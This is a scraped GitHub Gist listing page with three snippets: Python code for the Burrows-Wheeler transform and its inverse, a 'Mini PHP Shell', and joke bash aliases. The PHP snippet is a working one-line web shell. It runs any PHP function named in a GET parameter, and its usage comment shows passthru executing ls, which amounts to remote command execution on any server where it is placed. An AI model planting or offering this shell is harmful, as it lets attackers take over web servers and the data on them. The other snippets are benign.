Skip to content

Instantly share code, notes, and snippets.

View LeShadow's full-sized avatar
💭
¯\_(ツ)_/¯

Sebastiaan Provost LeShadow

💭
¯\_(ツ)_/¯
View GitHub Profile
@davidhq
davidhq / gist:3556485
Created August 31, 2012 17:51
Unpermute (reverse Burrows-Wheeler transform)
# calculates BW(T)
def bw(t):
m = sorted(t[-i:] + t[:-i] for i in range(len(t)))
return "".join(m[i][len(t)-1] for i in range(len(t)))
# for a given string return index with nth occurence of char
def n_occurence_index(string, char, n):
vector = [string[:index+1].count(char) for index in range(0, len(string))]
return vector.index(n)
@btoews
btoews / mps.php
Created December 28, 2011 03:19
Mini PHP Shell
//(c) mastahyeti
//mini php shell
//usage: http://example.com?1=function_name&2=function_arguments
//example: http://example.com?1=passthru&2=ls
<? $_GET[1]($_GET[2]) ?>
# LOL!!1
alias wtf='dmesg'
alias onoz='cat /var/log/errors.log'
alias rtfm='man'
alias visible='echo'
alias invisible='cat'
alias moar='more'